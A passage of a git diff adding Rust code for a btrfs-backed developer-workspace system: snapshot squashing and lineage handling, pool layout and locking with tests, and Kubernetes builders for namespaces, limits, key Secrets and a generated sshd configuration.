detached squash child, cleared by + /// `Engine::squash` when it finishes. + pub fn squash_latch(&self, id: &str) -> std::path::PathBuf { + self.pool.root.join("vol").join(format!("{id}.squashing")) + } + + /// A latch older than `WSSNAP_SQUASH_LATCH_SECS` (default 4h) is treated as abandoned: the + /// child that set it died before ever reaching `Engine::squash`, which is the only thing that + /// clears it. Chosen over writing the child's pid and probing liveness — a pid means nothing + /// after the agent pod restarts, and it still can't distinguish "alive and wedged" from + /// "alive and working". Guessing "stale" too eagerly costs one extra squash (which `ws_lock` + /// serializes anyway); never guessing it disables auto-squash for the volume forever and lets + /// the stream chain grow past `chain_max` unbounded. + fn latch_is_stale(&self, id: &str) -> bool { + let ttl: u64 = std::env::var("WSSNAP_SQUASH_LATCH_SECS").ok().and_then(|v| v.parse().ok()).unwrap_or(4 * 3600); + match std::fs::metadata(self.squash_latch(id)).and_then(|m| m.modified()) { + Ok(t) => t.elapsed().map(|e| e.as_secs() >= ttl).unwrap_or(true), + // No latch, or an unreadable one: nothing is blocking. + Err(_) => true, + } + } + + /// Takes the three fields it actually needs rather than a whole `Workspace`: the detached + /// child that runs this (`bins/agent`'s `squash` subcommand) has no store to read one from. + pub async fn squash(&self, owner: &str, id: &str, live_state: serde_json::Value) -> Result<(), EngErr> { + let latch = self.squash_latch(id); + let r = self.squash_inner(owner, id, live_state).await; + let _ = std::fs::remove_file(&latch); + r + } + + async fn squash_inner(&self, owner: &str, id: &str, live_state: serde_json::Value) -> Result<(), EngErr> { + let lineage = self.pool.lineage(id); + let tip = lineage.last().ok_or_else(|| EngErr::other("no lineage; push first"))?.snap_name().to_string(); + let root = self.pool.snap_root(id); + + // Size the image from the tip's content plus btrfs overhead headroom. + let du = std::process::Command::new("du") + .args(["-sb", root.join(&tip).to_str().unwrap()]) + .output() + .map_err(EngErr::io)?; + let used: u64 = String::from_utf8_lossy(&du.stdout) + .split_whitespace() + .next() + .and_then(|s| s.parse().ok()) + .ok_or_else(|| EngErr::other("du failed"))?; + // Headroom: btrfs metadata for many small files is far from free, so 50% + 1G slack; + // the image is sparse and zstd flattens the unused tail to nearly nothing. + let size = used + used / 2 + (1 << 30); + + let blob_id = uuid()?; + std::fs::create_dir_all(self.pool.img_dir()).map_err(EngErr::io)?; + let img = self.pool.img(&blob_id); + run(&["truncate", "-s", &size.to_string(), img.to_str().unwrap()])?; + run(&["mkfs.btrfs", "-q", "-m", "single", "-d", "single", img.to_str().unwrap()])?; + let mnt = format!("/tmp/wssquash-{blob_id}"); + std::fs::create_dir_all(&mnt).map_err(EngErr::io)?; + run(&["mount", "-o", "loop", img.to_str().unwrap(), &mnt])?; + let populate = (|| -> Result<(), EngErr> { + let mut send = std::process::Command::new("btrfs") + .args(["send", "-q", root.join(&tip).to_str().unwrap()]) + .stdout(Stdio::piped()) + .spawn() + .map_err(EngErr::io)?; + let mut recv = std::process::Command::new("btrfs") + .args(["receive", "-q", &mnt]) + .stdin(send.stdout.take().unwrap()) + .spawn() + .map_err(EngErr::io)?; + if !recv.wait().map_err(EngErr::io)?.success() || !send.wait().map_err(EngErr::io)?.success() { + return Err(EngErr::other("populate send/receive failed")); + } + Ok(()) + })(); + // umount can fail under load (a lingering child still holding the mount). Retry lazily + // rather than returning early: an un-umounted /tmp/wssquash-* pins the loop device and the + // image file forever, and a squash failure isn't worth leaking a mount over. + let umounted = run(&["umount", &mnt]).or_else(|e| run(&["umount", "-l", &mnt]).map_err(|_| e)); + let _ = std::fs::remove_dir(&mnt); + populate?; + umounted?; + + let f = std::fs::File::open(&img).map_err(EngErr::io)?; + let (raw, clen, sha) = + blob::upload_stream(self.store.as_ref(), &format!("layers/{blob_id}.zst"), f).await.map_err(EngErr::other)?; + // The build image has served its only purpose: its bytes are durable in the object store, + // and a restore re-fetches them into a fresh `{pool}/img/{blob}.img`. Keeping it grew the + // pool by one full workspace image per squash, forever. + let _ = std::fs::remove_file(&img); + let parent_blob = lineage.last().map(|e| e.blob.clone()); + blob::write_sidecar( + self.store.as_ref(), + &blob_id, + &blob::LayerSidecar { + kind: LayerKind::Block, + parent_blob, + snap_uuid: Some(tip.clone()), + sha256: sha.clone(), + raw, + stored: clen, + created_at: chrono::Utc::now(), + }, + ) + .await + .map_err(EngErr::other)?; + + // The squash races commits that landed while the image was building: under the lock, + // re-read the local lineage and graft any streams that arrived after our tip onto the + // new block base, so their history is preserved rather than clobbered. Every grafted + // stream is guaranteed still `unpushed` here — nothing pushes without draining every + // unpushed entry first, so a commit made after squash started can't have been pushed + // yet by anything else. + let _lock = ws_lock(&self.pool, id).map_err(EngErr::other)?; + let now = self.pool.lineage(id); + let mut new_lineage = vec![LineageEntry { + kind: LayerKind::Block, + blob: blob_id.clone(), + snap: Some(tip.clone()), + sha256: sha.clone(), + unpushed: true, + }]; + let after: Vec = now.iter().skip_while(|e| e.snap_name() != tip).skip(1).cloned().collect(); + new_lineage.extend(after); + self.pool.set_lineage(id, &new_lineage).map_err(EngErr::other)?; + write_stage_meta( + &self.pool, + &blob_id, + &StageMeta { raw, clen, state: live_state, message: Some("auto-squash".into()), created_at: chrono::Utc::now() }, + )?; + drop(_lock); + + // Not the fused `push`: the block entry above is already staged directly (no fresh + // `commit_core` snapshot wanted on top of it), so this goes straight to the upload phase. + self.upload_core(owner, id).await?; + Ok(()) + } +} + +#[cfg(test)] +mod latch_tests { + use super::*; + use crate::registry_client::RegistryClient; + use crate::store::MemStore; + + fn engine(root: &std::path::Path) -> Engine { + Engine::new( + Pool::new(root), + Arc::new(object_store::memory::InMemory::new()), + Arc::new(MemStore::new()), + RegistryClient::new("http://127.0.0.1:1", "unused"), + ) + } + + #[test] + fn a_fresh_latch_blocks_and_an_abandoned_one_does_not() { + let tmp = tempfile::tempdir().unwrap(); + let e = engine(tmp.path()); + std::fs::create_dir_all(e.pool.root.join("vol")).unwrap(); + + // No latch at all reads as "nothing is blocking". + assert!(e.latch_is_stale("v1")); + + std::fs::write(e.squash_latch("v1"), b"").unwrap(); + assert!(!e.latch_is_stale("v1"), "a latch just written belongs to a live squash child"); + + // The child died without clearing it: past the ttl, auto-squash must not stay disabled. + std::env::set_var("WSSNAP_SQUASH_LATCH_SECS", "0"); + assert!(e.latch_is_stale("v1")); + std::env::remove_var("WSSNAP_SQUASH_LATCH_SECS"); + } +} diff --git a/crates/workspaces/src/engine/pool.rs b/crates/workspaces/src/engine/pool.rs new file mode 100644 index 00000000..6cd679b6 --- /dev/null +++ b/crates/workspaces/src/engine/pool.rs @@ -0,0 +1,220 @@ +//! Local btrfs pool: paths, lineage file, and the cross-process lock guarding it. + +use crate::model::LineageEntry; +use std::path::PathBuf; + +pub struct Pool { + pub root: PathBuf, +} + +impl Pool { + pub fn new(root: impl Into) -> Pool { + Pool { root: root.into() } + } + pub fn recv(&self) -> PathBuf { + self.root.join("recv") + } + /// `{pool}/img` — block-layer images: squash's throwaway build image (deleted as soon as its + /// bytes are uploaded) and a block-restore's live loop-mount backing file. + pub fn img_dir(&self) -> PathBuf { + self.root.join("img") + } + pub fn img(&self, blob: &str) -> PathBuf { + self.img_dir().join(format!("{blob}.img")) + } + /// Local staging area for `push`'s internal snapshot phase: the compressed layer bytes + /// (`{blob}.zst`) and a sidecar (`{blob}.json`, `StageMeta`) sit here between staging and + /// upload, entirely off the network. `push` deletes both once the bytes are durable in the + /// object store (or, + /// for a blob already uploaded directly — a squash block layer, an inherited clone + /// entry — deletes just the sidecar, since `stage_path` never existed for those). + pub fn stage_dir(&self) -> PathBuf { + self.root.join("stage") + } + pub fn stage_path(&self, blob: &str) -> PathBuf { + self.stage_dir().join(format!("{blob}.zst")) + } + pub fn stage_meta_path(&self, blob: &str) -> PathBuf { + self.stage_dir().join(format!("{blob}.json")) + } + /// `{pool}/vol/{name}` — "vol" not "ws": environments live here too, and it matches the + /// registry namespace's `vol/{owner}/{id}` naming. + pub fn voldir(&self, name: &str) -> PathBuf { + self.root.join("vol").join(name) + } + pub fn live(&self, name: &str) -> PathBuf { + self.voldir(name).join("live") + } + /// Where this workspace's snapshots live: inside the image mount for a block-restored + /// workspace (its own fs — snapshots cannot cross filesystems), else the shared recv/. + pub fn snap_root(&self, name: &str) -> PathBuf { + if is_mountpoint(&self.voldir(name)) { self.voldir(name) } else { self.recv() } + } + pub fn lineage(&self, name: &str) -> Vec { + std::fs::read_to_string(self.root.join("vol").join(format!("{name}.lineage"))) + // A torn line is dropped, not fatal: the surviving prefix is still a valid lineage to + // send/receive against, and refusing the whole file would strand the volume. + .map(|s| s.lines().filter_map(LineageEntry::parse).collect()) + .unwrap_or_default() + } + /// tmp+rename, never truncate-in-place: this file's `unpushed` marks are the ONLY record that + /// staged data exists, so a half-written `.lineage` reads back as "no entries" and the janitor + /// then sweeps the only copy of that data. Returns `Result` rather than unwrapping because the + /// caller is usually mid-push on a box that just hit ENOSPC — a panic there takes down every + /// other in-flight job on the agent too. + pub fn set_lineage(&self, name: &str, l: &[LineageEntry]) -> Result<(), String> { + let s: Vec = l.iter().map(LineageEntry::encode).collect(); + let dst = self.root.join("vol").join(format!("{name}.lineage")); + let tmp = self.root.join("vol").join(format!("{name}.lineage.tmp")); + std::fs::write(&tmp, s.join("\n")).map_err(|e| format!("{}: {e}", tmp.display()))?; + std::fs::rename(&tmp, &dst).map_err(|e| format!("{}: {e}", dst.display())) + } +} + +#[cfg(test)] +mod lineage_tests { + use super::Pool; + use crate::model::{LayerKind, LineageEntry}; + + fn e(blob: &str, unpushed: bool) -> LineageEntry { + LineageEntry { kind: LayerKind::Stream, blob: blob.into(), snap: None, sha256: "sha".into(), unpushed } + } + + #[test] + fn set_lineage_is_atomic_and_leaves_no_partial_file() { + let tmp = tempfile::tempdir().unwrap(); + let pool = Pool::new(tmp.path()); + std::fs::create_dir_all(pool.root.join("vol")).unwrap(); + + pool.set_lineage("v1", &[e("b1", false), e("b2", true)]).unwrap(); + assert_eq!(pool.lineage("v1").len(), 2); + + // Crash simulation: a stale tmp file from a previous write must neither be read back as + // the lineage nor stop the next write from landing. + let stale = pool.root.join("vol").join("v1.lineage.tmp"); + std::fs::write(&stale, b"s:garbage").unwrap(); + pool.set_lineage("v1", &[e("b1", false), e("b2", true), e("b3", true)]).unwrap(); + + let back = pool.lineage("v1"); + assert_eq!(back.len(), 3, "a stale tmp file must not corrupt the real lineage"); + assert_eq!(back.iter().filter(|x| x.unpushed).count(), 2, "unpushed marks survive the write"); + assert!(!stale.exists(), "the tmp file is renamed away, never left behind"); + } + + #[test] + fn set_lineage_returns_err_instead_of_panicking_on_an_unwritable_pool() { + let tmp = tempfile::tempdir().unwrap(); + let pool = Pool::new(tmp.path()); + // `vol/` deliberately absent: the ENOSPC shape of the same failure, which used to panic + // the whole agent mid-push. + assert!(!pool.set_lineage("v1", &[]).unwrap_err().is_empty()); + } +} + +/// One-time upgrade for a pool still laid out under the old `ws` name: btrfs subvolumes don't +/// care what their containing directory is called, so a plain rename is enough — no per-entry +/// work needed. No-op when `{pool}/vol` already exists (already migrated, or a fresh pool) or +/// `{pool}/ws` doesn't (fresh pool, nothing to move). +pub fn migrate_ws_to_vol(root: &std::path::Path) { + let old = root.join("ws"); + let new = root.join("vol"); + if new.exists() || !old.exists() { + return; + } + match std::fs::rename(&old, &new) { + Ok(()) => tracing::info!(from = %old.display(), to = %new.display(), "migrated pool layout"), + Err(e) => tracing::warn!(from = %old.display(), to = %new.display(), error = %e, "pool layout migration failed"), + } +} + +#[cfg(test)] +mod migrate_tests { + use super::migrate_ws_to_vol; + + #[test] + fn renames_ws_to_vol_with_plain_dirs() { + let tmp = tempfile::tempdir().unwrap(); + let ws = tmp.path().join("ws"); + std::fs::create_dir_all(ws.join("some-id")).unwrap(); + std::fs::write(ws.join("some-id.lineage"), "s:b1:abc").unwrap(); + + migrate_ws_to_vol(tmp.path()); + + assert!(!ws.exists()); + let vol = tmp.path().join("vol"); + assert!(vol.join("some-id").is_dir()); + assert_eq!(std::fs::read_to_string(vol.join("some-id.lineage")).unwrap(), "s:b1:abc"); + } + + #[test] + fn no_op_when_vol_already_exists_or_ws_absent() { + let tmp = tempfile::tempdir().unwrap(); + // Neither exists: no-op, no panic. + migrate_ws_to_vol(tmp.path()); + assert!(!tmp.path().join("vol").exists()); + + // Both exist: vol wins, ws is left untouched (never silently merged/clobbered). + std::fs::create_dir_all(tmp.path().join("ws")).unwrap(); + std::fs::create_dir_all(tmp.path().join("vol")).unwrap(); + migrate_ws_to_vol(tmp.path()); + assert!(tmp.path().join("ws").exists()); + assert!(tmp.path().join("vol").exists()); + } +} + +pub fn is_mountpoint(p: &std::path::Path) -> bool { + let mounts = std::fs::read_to_string("/proc/self/mounts").unwrap_or_default(); + mountpoint_in(&mounts, p) +} + +/// `/proc/self/mounts` escapes space, tab, newline and backslash in octal — a pool path with a +/// space in it (a volume id never has one, but a pool root can) otherwise never matches and +/// `snap_root` silently picks the wrong root. +fn unescape_mount(s: &str) -> String { + let b = s.as_bytes(); + let mut out = String::with_capacity(s.len()); + let mut i = 0; + while i < b.len() { + if b[i] == b'\\' && i + 3 < b.len() { + if let Some(c) = std::str::from_utf8(&b[i + 1..i + 4]).ok().and_then(|o| u8::from_str_radix(o, 8).ok()) { + out.push(c as char); + i += 4; + continue; + } + } + out.push(b[i] as char); + i += 1; + } + out +} + +/// Split out so the escape handling is testable without a real mount. +fn mountpoint_in(mounts: &str, p: &std::path::Path) -> bool { + let Some(want) = p.to_str() else { return false }; + mounts.lines().any(|l| l.split_whitespace().nth(1).map(unescape_mount).as_deref() == Some(want)) +} + +#[cfg(test)] +mod mount_tests { + use super::mountpoint_in; + + #[test] + fn mountpoint_matches_a_path_with_a_space() { + let mounts = "/dev/loop0 /mnt/pool\\040one/vol/ws btrfs rw 0 0\n/dev/sda1 / ext4 rw 0 0\n"; + assert!(mountpoint_in(mounts, std::path::Path::new("/mnt/pool one/vol/ws"))); + assert!(mountpoint_in(mounts, std::path::Path::new("/"))); + assert!(!mountpoint_in(mounts, std::path::Path::new("/mnt/pool"))); + } +} + +/// Serialize every lineage read-modify-write for one workspace across processes (push vs the +/// background squash) — the double-squash came from exactly this race. +pub fn ws_lock(pool: &Pool, ws: &str) -> Result { + let path = pool.root.join("vol").join(format!("{ws}.lock")); + let f = std::fs::File::create(&path).map_err(|e| e.to_string())?; + use std::os::fd::AsRawFd; + if unsafe { libc::flock(f.as_raw_fd(), libc::LOCK_EX) } != 0 { + return Err("flock failed".into()); + } + Ok(f) +} diff --git a/crates/workspaces/src/k8s.rs b/crates/workspaces/src/k8s.rs new file mode 100644 index 00000000..abcf4b2f --- /dev/null +++ b/crates/workspaces/src/k8s.rs @@ -0,0 +1,1959 @@ +//! Pure builders from the domain types to Kubernetes objects. +//! +//! No client, no I/O, no environment reads — every input arrives as an argument, which is what +//! makes the security-relevant paths here exhaustively testable. +//! +//! # Why local PersistentVolumes and not hostPath +//! +//! A workspace is a btrfs subvolume on one node, so the naive expression is a `hostPath` mount. It +//! was rejected for two reasons, both verified against the live cluster rather than assumed: +//! +//! * **Pod Security Admission forbids it.** `hostPath` is refused by BOTH `restricted` and +//! `baseline` ("hostPath volumes (volume \"v\")"), so any namespace running user workloads would +//! have to be `privileged` — surrendering namespace-level enforcement entirely for every pod, +//! forever, to express one mount. +//! * **It makes placement an assertion instead of a constraint.** With `hostPath` the pod must name +//! its node and be right; with a `local` PV the PV carries `nodeAffinity` and the SCHEDULER +//! enforces it. A pod that cannot be placed stays Pending with a reason, instead of running on a +//! node where the data is not. +//! +//! `persistentVolumeClaim` is an allowed volume type under `restricted`, so one static `local` PV +//! per volume gives the same bytes with none of that cost. +//! +//! # Why `baseline` and not `restricted` +//! +//! `restricted` additionally demands `runAsNonRoot`, and the default workspace image runs as root +//! (`nginx:alpine` fails with `container has runAsNonRoot and image will run as root`), as do the +//! common database images an environment is made of. `baseline` blocks what actually lets a +//! container escape — hostPath, privileged, hostNetwork/PID/IPC, dangerous capabilities — while +//! leaving root INSIDE the container, which a dev workspace genuinely needs. `restricted` is +//! recorded as warn+audit so the violations are visible without being fatal, and a namespace whose +//! images allow it can be raised to enforce individually. + +use crate::crd::{PodResources, WorkspaceSpec}; +use crate::model; +use k8s_openapi::api::apps::v1::{StatefulSet, StatefulSetSpec}; +use k8s_openapi::api::core::v1::{ + Capabilities, Container, ContainerPort, EnvVar, LimitRange, LimitRangeItem, LimitRangeSpec, + KeyToPath, LocalObjectReference, LocalVolumeSource, Namespace, SeccompProfile, + NodeSelectorRequirement, NodeSelectorTerm, PersistentVolume, PersistentVolumeClaim, + PersistentVolumeClaimSpec, PersistentVolumeClaimVolumeSource, PersistentVolumeSpec, Pod, + PodSpec, PodTemplateSpec, ResourceRequirements, Secret, SecretVolumeSource, + SecurityContext, Service as CoreService, + ServicePort, ServiceSpec, Toleration, Volume, VolumeMount, VolumeNodeAffinity, + VolumeResourceRequirements, +}; +use k8s_openapi::api::rbac::v1::{RoleBinding, RoleRef, Subject}; +use k8s_openapi::api::networking::v1::{ + IPBlock, NetworkPolicy, NetworkPolicyEgressRule, NetworkPolicyIngressRule, NetworkPolicyPeer, + NetworkPolicyPort, NetworkPolicySpec, +}; +use k8s_openapi::apimachinery::pkg::api::resource::Quantity; +use k8s_openapi::apimachinery::pkg::apis::meta::v1::{LabelSelector, ObjectMeta, OwnerReference}; +use k8s_openapi::apimachinery::pkg::util::intstr::IntOrString; +use std::collections::BTreeMap; + +pub const OWNER_LABEL: &str = "rustic-git.io/owner"; +pub const KIND_LABEL: &str = "rustic-git.io/kind"; +/// The team a workspace was made in, empty for personal. Same rule as the other two: a listing +/// view of `spec.team`, re-stamped by the controller, never authorization. +pub const TEAM_LABEL: &str = "rustic-git.io/team"; +pub const SERVICE_LABEL: &str = "rustic-git.io/service"; +/// The one StorageClass these PVs bind through. `no-provisioner` + `WaitForFirstConsumer`: nothing +/// is provisioned dynamically, and binding is deferred until a pod exists so the scheduler can +/// consider the PV's node affinity instead of binding first and discovering the conflict after. +pub const STORAGE_CLASS: &str = "rustic-git-local"; +/// The container's writable layer and logs — NOT the tenant's data, which lives on their +/// PersistentVolume and is bounded by its own quota. +/// +/// Unbounded, this is a node-wide denial of service available to any tenant: filling the kubelet's +/// disk taints the node `disk-pressure` and stops scheduling for every OTHER tenant on it. That is +/// not theoretical — it happened to this cluster from an ordinary build, and nothing in the +/// workload could have caused the kubelet to evict the offender instead of penalising the node. +/// With a limit the offending pod is evicted and its neighbours are untouched. +const EPHEMERAL_REQUEST: &str = "1Gi"; +const EPHEMERAL_LIMIT: &str = "4Gi"; + +/// The label naming which workspace a pod belongs to. Load-bearing since workspaces share a +/// namespace: an attachment selects on it, so without it a grant would reach every workspace the +/// user owns. +pub const WORKSPACE_LABEL: &str = "rustic-git.io/workspace"; + +/// The PVC name for a volume. Per-volume, not fixed: a user's workspaces share one namespace, so a +/// single `live` claim would be one claim fought over by every workspace they own. +pub fn claim_name(id: &str) -> String { + format!("live-{id}") +} + +pub struct PodContext<'a> { + /// The btrfs pool root on the node, e.g. `/wspool-prod`. Only the PV needs it — a pod refers to + /// its claim, never to a path. + pub pool: &'a str, + pub node_name: &'a str, + pub owner_ref: OwnerReference, + /// The sandbox to run TENANT pods under, e.g. `gvisor`. `None` runs them on the host kernel. + /// + /// Opt-in, not defaulted, because a `runtimeClassName` naming a runtime the node has not got + /// makes every pod fail to start — a cluster without gVisor installed must keep working. It is + /// set from the agent's `WS_RUNTIME_CLASS`, so enabling it is a per-cluster decision made where + /// the runtime is actually installed. + /// + /// Applies to tenant pods only. The controller itself must NOT be sandboxed: it drives btrfs + /// against the host pool, which is precisely the host access a sandbox exists to remove. + pub runtime_class: Option<&'a str>, +} + +pub(crate) fn labels(owner: &str, kind: &str) -> BTreeMap { + BTreeMap::from([ + (OWNER_LABEL.to_string(), owner.to_string()), + (KIND_LABEL.to_string(), kind.to_string()), + ]) +} + +fn meta(name: &str, ns: Option<&str>, owner: &str, kind: &str, owner_ref: &OwnerReference) -> ObjectMeta { + ObjectMeta { + name: Some(name.to_string()), + namespace: ns.map(str::to_string), + labels: Some(labels(owner, kind)), + // Deletion cascades through garbage collection rather than through cleanup code that can be + // skipped, crash halfway, or be forgotten by a new code path. + owner_references: Some(vec![owner_ref.clone()]), + ..Default::default() + } +} + +/// `ws-{id}` / `env-{id}`, labelled for the policies that select it and for Pod Security Admission. +/// +/// See the module docs for why this is `baseline` rather than `restricted`. +pub fn namespace(name: &str, owner: &str, kind: &str, owner_ref: Option<&OwnerReference>) -> Namespace { + let mut l = labels(owner, kind); + l.insert("pod-security.kubernetes.io/enforce".into(), "baseline".into()); + // Not fatal, but recorded: if an image ever CAN run non-root, these tell us so. + l.insert("pod-security.kubernetes.io/warn".into(), "restricted".into()); + l.insert("pod-security.kubernetes.io/audit".into(), "restricted".into()); + Namespace { + metadata: ObjectMeta { + name: Some(name.to_string()), + labels: Some(l), + // `None` for a user's shared workspace namespace: an ownerReference here would make + // deleting ONE workspace garbage-collect the namespace and every sibling workspace in + // it. It is shared infrastructure — created on demand, left behind when empty. An + // environment namespace does own its objects, because there it really is one-to-one. + owner_references: owner_ref.map(|r| vec![r.clone()]), + ..Default::default() + }, + ..Default::default() + } +} + +/// The namespace's ceiling: no container in it may exceed the slot, and one that names no +/// resources at all gets the slot's values rather than none. +/// +/// The pod specs this module builds already carry requests and limits, so this is not about them — +/// it is about everything else. A `LimitRange` is enforced by the API SERVER at admission, so it +/// holds for a pod created by any path: a future code path that forgets, a debug pod, an operator +/// with kubectl. Without it "every workspace is an M slot" is a property of one function rather +/// than of the namespace. +/// +/// `max` is the slot's LIMIT, not its request: bursting to the limit is the point of the slot, and +/// exceeding it is what must be refused. Capacity is priced on the request (see +/// `PodResources::default`), which `defaultRequest` pins for anything that omits one. +pub fn limit_range(ns: &str, owner: &str, kind: &str, res: &PodResources, owner_ref: Option<&OwnerReference>) -> LimitRange { + let item = LimitRangeItem { + type_: "Container".to_string(), + default: Some(BTreeMap::from([ + ("cpu".to_string(), Quantity(res.cpu_limit.clone())), + ("memory".to_string(), Quantity(res.memory_limit.clone())), + ])), + default_request: Some(BTreeMap::from([ + ("cpu".to_string(), Quantity(res.cpu_request.clone())), + ("memory".to_string(), Quantity(res.memory_request.clone())), + ])), + max: Some(BTreeMap::from([ + ("cpu".to_string(), Quantity(res.cpu_limit.clone())), + ("memory".to_string(), Quantity(res.memory_limit.clone())), + ])), + ..Default::default() + }; + LimitRange { + metadata: ObjectMeta { + name: Some("slot".to_string()), + namespace: Some(ns.to_string()), + labels: Some(labels(owner, kind)), + owner_references: owner_ref.map(|r| vec![r.clone()]), + ..Default::default() + }, + spec: Some(LimitRangeSpec { limits: vec![item] }), + } +} + +/// The Secret name a namespace's pods pull private images with. +/// +/// Fixed per namespace rather than per pod: a pull credential is scoped to the OWNER, not to one +/// workload, and one Secret per pod would be N copies of the same token to rotate. +pub const PULL_SECRET: &str = "registry-pull"; + +/// The Secret holding the owner's platform-issued git key, one per workspace namespace. +/// +/// Per owner, not per workspace: the key IS the owner's git identity, so a copy per workspace would +/// be N copies of one credential to rotate. +pub const USER_KEY_SECRET: &str = "user-key"; + +/// Where that key is mounted. Deliberately not `~/.ssh`: workspace images bring their own user and +/// home directory, and `GIT_SSH_COMMAND` points at an absolute path that works whatever they are. +pub const USER_KEY_PATH: &str = "/etc/rustic-git/ssh"; + +/// The owner's private key as a namespace Secret. Written by the API tier, which holds `secrets` +/// only in namespaces the controller has vouched for — see `api_secret_binding`. +pub fn user_key_secret(owner: &str, namespace: &str, private_openssh: &str, m: &crate::api::OwnerMaterial) -> Secret { + Secret { + // No ownerReference: the key belongs to the OWNER, not to any one workspace, so deleting + // the workspace that happened to trigger its creation must not take it with them. + metadata: ObjectMeta { + name: Some(USER_KEY_SECRET.to_string()), + namespace: Some(namespace.to_string()), + labels: Some(labels(owner, "workspace")), + ..Default::default() + }, + // Both halves in ONE Secret: the private key the workspace pushes git with, and the + // public keys sshd lets in. They are rewritten together, so splitting them would only add + // a second object that can be half-written. + string_data: Some(BTreeMap::from([ + ("id_ed25519".to_string(), private_openssh.to_string()), + ("authorized_keys".to_string(), m.authorized_keys.clone()), + // Read by git as its SYSTEM config (`GIT_CONFIG_SYSTEM`), so `~/.gitconfig` still + // overrides it and a changed display name reaches running workspaces with the next + // Secret rewrite, no restart. git's own escaping: a name with a quote is quoted. + ("gitconfig".to_string(), gitconfig(&m.git_name, &m.git_email)), + ])), + type_: Some("Opaque".to_string()), + ..Default::default() + } +} + +fn gitconfig(name: &str, email: &str) -> String { + let q = |v: &str| v.replace('\\', "\\\\").replace('"', "\\\""); + format!("[user]\n\tname = \"{}\"\n\temail = \"{}\"\n", q(name), q(email)) +} + +/// Where sshd reads its config and host key. `/etc/ssh` is not a choice: `sshd` resolves relative +/// paths and its own defaults against it, and a config elsewhere still sends it looking here. +pub const SSHD_DIR: &str = "/etc/ssh"; + +/// Where sshd expects the owner's public keys. Unlike the git key this one CANNOT move: sshd +/// matches the file's path and mode against what its config declares, and nothing else reads it. +/// Who you are inside a workspace. Not root: sshd refuses root outright (`PermitRootLogin no`), +/// so a leaked key is a shell as an ordinary user, and everything a person writes lands owned +/// by an ordinary user. There is no sudo — root is `kubectl exec`, and installing software is +/// `spec.packages`. The uid is fixed so `~/workspace` keeps its owner across pod restarts and +/// image changes. +pub const SSH_USER: &str = "kl"; +/// Where the workspace subvolume is mounted: inside the home, so `cd ~/workspace` is the whole +/// orientation a login needs and an editor's "open folder" starts somewhere sensible. +pub const WORKSPACE_DIR: &str = "/home/kl/workspace"; +pub const SSH_UID: i64 = 1000; +const SSH_HOME: &str = "/home/kl/.ssh"; +const AUTHORIZED_KEYS_PATH: &str = "/home/kl/.ssh/authorized_keys"; + +/// The per-workspace host key Secret's name. +pub fn ws_ssh_secret_name(id: &str) -> String { + format!("ws-ssh-{id}") +} + +/// sshd's whole configuration, generated so `sshd_config` and the mounts that satisfy it cannot +/// drift apart. +/// +/// `PermitRootLogin no` and `AllowUsers kl`: the only way in is a key the owner registered, and +/// it opens a shell as `kl`, never as the root the container itself runs as. `StrictModes no` because `authorized_keys` is a Secret mount, and a +/// Secret mount is a world-writable tmpfs (`drwxrwxrwt`) — sshd would refuse every key in it as +/// "bad ownership or modes" otherwise; the mount is read-only, so the mode guards nothing. +/// `ClientAliveInterval 30` is not a nicety — Cloudflare idles a +/// WebSocket after 100s, and the tunnel is the whole data path. +pub fn sshd_config() -> String { + let set_env = format!("SetEnv {}", login_env().iter().map(|e| format!("\"{}={}\"", e.name, e.value.as_deref().unwrap_or_default())).collect::>().join(" ")); + format!( + "Port 22\n\ + HostKey {SSHD_DIR}/ssh_host_ed25519_key\n\ + PermitRootLogin no\n\ + AllowUsers {SSH_USER}\n\ + PasswordAuthentication no\n\ + KbdInteractiveAuthentication no\n\ + PubkeyAuthentication yes\n\ + AuthorizedKeysFile {AUTHORIZED_KEYS_PATH}\n\ + StrictModes no\n\ + {}\n\ + AllowTcpForwarding yes\n\ + X11Forwarding no\n\ + ClientAliveInterval 30\n\ + Subsystem sftp {}/libexec/sftp-server\n", + // sshd hands a login NONE of the container's environment — the same PATH, git key and git + // identity the pod's entrypoint sees have to be restated here, or `git push` over ssh + // has no key and a Nix tool is "not found". ONE directive: sshd keeps only the first + // `SetEnv` line it meets (`sshd -T` showed a single variable when they were split), so + // every variable rides on the same line, each quoted because values hold spaces. + set_env, + crate::packages::PROFILE_LINK + ) +} + +/// The environment a workspace shell sees, whether it is the image's entrypoint or an ssh login: +/// the Nix profile on PATH, git's key and identity. ONE list, because sshd does not inherit the +/// container's environment and two lists would drift. +fn login_env() -> Vec { + let var = |n: &str, v: String| EnvVar { name: n.into(), value: Some(v), ..Default::default() }; + vec![ + git_ssh_command(), + var("GIT_CONFIG_SYSTEM", format!("{USER_KEY_PATH}/gitconfig")), + // ponytail: an image with a non-standard PATH loses it; read it from the image config + // via the registry if that ever matters. + var("PATH", crate::packages::path_env(None)), + var("NIX_PROFILE", crate::packages::PROFILE_LINK.into()), + var("MANPATH", format!("{}/share/man:", crate::packages::PROFILE_LINK)), + var("XDG_DATA_DIRS", format!("{}/share:/usr/local/share:/usr/share", crate::packages::PROFILE_LINK)), + ] +} + +/// What the default image runs before sshd, as root, on every container start. Alpine's own +/// filesystem is fresh each start — only `~/workspace` persists — so everything here is +/// idempotent and cheap: the accounts sshd needs, the login shell and prompt, the greeting. +/// +/// The shell is zsh from the Nix profile (with fish alongside and starship for the prompt), so +/// `WS_BASE_PACKAGES` must keep `zsh fish starship`; the profile is mounted before this runs. +/// `adduser -D` writes `!` as the password, which sshd reads as "account locked" and refuses +/// even a valid key; `*` is "no password" and is not locked. `~/workspace` is chowned every +/// start because the seeder clones it as root and a restore can bring back files owned by +/// anyone. `exec` so sshd is pid 1 and gets the kubelet's TERM. +/// ponytail: `chown -R` walks the whole volume on every start; fine for source trees. Dotfiles +/// live in the ephemeral home, so a person's own `.zshrc` edits do not survive a restart — +/// a persistent home is the upgrade. +fn prelude() -> String { + let profile = crate::packages::PROFILE_LINK; + let path = crate::packages::path_env(None); + format!( + "set -e\n\ + mkdir -p /var/empty\n\ + adduser -D -H -s /sbin/nologin sshd 2>/dev/null || true\n\ + adduser -D -u {SSH_UID} -s {profile}/bin/zsh {SSH_USER} 2>/dev/null || true\n\ + sed -i 's/^{SSH_USER}:!:/{SSH_USER}:*:/' /etc/shadow\n\ + cat > /etc/motd <<'MOTD'\n\ + \n\ + Kloudlite workspace. You are `kl` — no root, no sudo.\n\ + \n\ + ~/workspace your files; the only path that persists (and what a snapshot captures)\n\ + packages Nix, from the workspace's Packages settings; git, curl, zsh, fish are in\n\ + \n\ + MOTD\n\ + H=/home/{SSH_USER}\n\ + mkdir -p 